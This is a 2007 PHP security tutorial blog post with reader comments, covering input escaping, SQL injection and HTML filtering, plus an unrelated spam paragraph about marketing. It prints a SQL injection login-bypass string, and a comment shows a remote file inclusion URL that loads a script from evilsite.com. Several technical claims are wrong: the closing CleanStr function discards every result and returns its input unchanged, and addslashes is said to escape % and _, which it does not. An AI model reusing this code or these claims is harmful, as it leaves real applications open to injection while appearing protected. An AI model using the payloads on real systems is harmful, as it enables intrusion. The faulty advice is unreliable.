PHP Security - Part One

Devolio

Search

Twitter

    Sunday, October 7. 2007

    PHP Security - Part One

    This guide goes over the basics of cleaning user input for safe use. This includes escaping strings correctly, stripping html and tags, preventing SQL injection, and other security issues. Anytime you use a $_POST, $_GET, or are receiving any information that the user can modify, you must be sure that you properly escape it, and clean it in some cases. This guide will show you how to do that, and more.

    Clean All User Input

    Anytime you use a $_POST, $_GET, or are receiving any information that the user can modify, you must be sure that you properly escape it, and clean it in some cases.

    Preventing SQL Injection

    I'm going to use a login form as an example. To query our database and check to see if they logged in correctly, you might use a query like...
    select `username`, `password` from `users` where `username` = '$var' and `pass` = '$var2';

    If someone were to type in ' or username like'%admin%'; -- into the login form, they would be logged in with an account that has the word admin in it. To fix this problem, after connecting to the MySQL server, you can use...
    mysql_real_escape_string($var);

    Using this will escape all characters that need to be escaped to prevent tampering with the MySQL query. Another problem for MySQL is % and _, which can be escaped using...
    addslashes($var);

    HTML filtering

    Sometimes you may want to clean certain html entities in strings. To do this, you can use...
    $var = “<b>bold</b>”;
    htmlentities($var);
    This would output: & l t ; b & g t ; bold & l t ; / b & g t ;

    To change it back to a usable form, you can use...
    html_entity_decode($var);

    To strip the HTML tags from a string, and specify which strings you want to allow, you can use...
    $var = “<a><b>link</a></b>”;
    strip_tags($var, '<a><b>');

    The second argument is not needed, passing just the variable you want to clean will strip all tags from the string. This example would only allow b and a tags through. However, it is important to note that strip_tags() is not failsafe; that is, malformed tags can remove more or less than you'd ideally like to.

    To make sure that html does not render if it gets shown, you can use...

    htmlspecialchars($var);


    If you have a string that is escaped from using mysql_real_escape_string() or addslashes(), you can use stripslashes($var) to remove all of the slashes.

    Putting it all together

    And to put this all together into a function, you could use something like...

    function CleanStr($var) {
    stripslashes($var);
    htmlentities($var);
    strip_tags($var);
    return $var;
    }

    Thanks for reading, in the next part we will be looking further into database security, webserver security, and more. For more security tips, check out PHP Security: Part Two, or for even better validation, 8 Practical PHP Regular Expressions.





    The search engine marketing is a popular methodology for the marketing of any website nowadays. Some alike another way of marketing is online advertising through public forums and blogs. Some of the VOIP related websites like vonage offers internet phones systems, which enable the users to connect to phones using broadband connection. The cheap web hosting is a facility that can be availed by small businesses and is specially designed for those who work at home. One of the methods of earning online is through adwords affiliate. For high sales it is considered a must to have search advertising online, adword is one of the type of such advertising method.

    Trackbacks

    Automating MySQL Backups with Cron
    Thousands of web applications use MySQL for their databases, and almost all of them store some sort of valuable information. You never know when a hard drive will fail, a server will die, or in the absolute worst case, when someone will find a vulnerabili
    Weblog: Web devlopment blog
    Tracked: Nov 15, 10:36

    Comments
    Display comments as (Linear | Threaded)

    #1 - Gerd 2008-08-16 20:19 - (Reply)

    Just:
    $var = preg_replace('/[^a-zA-Z0-9]/', '', $var)

    I use this for simple GET/POST vars.

    #2 - Allison Nighswander said:
    2008-08-16 20:23 - (Reply)

    I think the best way to prevent sql injection is to use prepared statements.

    #3 - Phillip Long said:
    2008-08-16 22:13 - (Reply)

    Another huge php security issue is displaying/including file content.

    For example,
    $file = $POST['file'];/$_GET['file'];
    include($file);
    is a HUGE mistake, POST data can be forged, and a malicious script can me injected such as site.com/page.php?file=http://evilsite.com/evilscript.txt

    a way around this would be to do a preg_match(/^(http:\/\/yoursite.com\/dir\/)/, $file)

    Sorry if the code is not exact, I just scribbled it out here.

    I find it is always best to sanitize all data from $_GET, $_POST, and $_COOKIE

    #4 - Drew Douglass said:
    2008-08-17 02:15 - (Reply)

    "This example would strip out the b and a tags from the string"

    This is incorrect. The above example would allow only the a and b tags.

    Straight from the manual:http://us.php.net/strip-tags

    Thought I would let you know, otherwise not bad advice for beginners.

    Regards,

    Drew

    #5 - Joey said:
    2008-08-17 03:02 - (Reply)

    @Gerd - That works fine for anything not requiring special chars.

    @Allison - Agreed, prepared statements are one of the better ways to avoid sql injection (for the most part).

    @Phillip - Hopefully nobody would ever include files like that, but I'll add it to the article. Thanks :-)

    @Drew - Nice catch, fixed. Thanks.


    Add Comment

    Enclosing asterisks marks text as bold (*word*), underscore are made via _word_.
    Standard emoticons like :-) and ;-) are converted to images.
    E-Mail addresses will not be displayed and will only be used for E-Mail notifications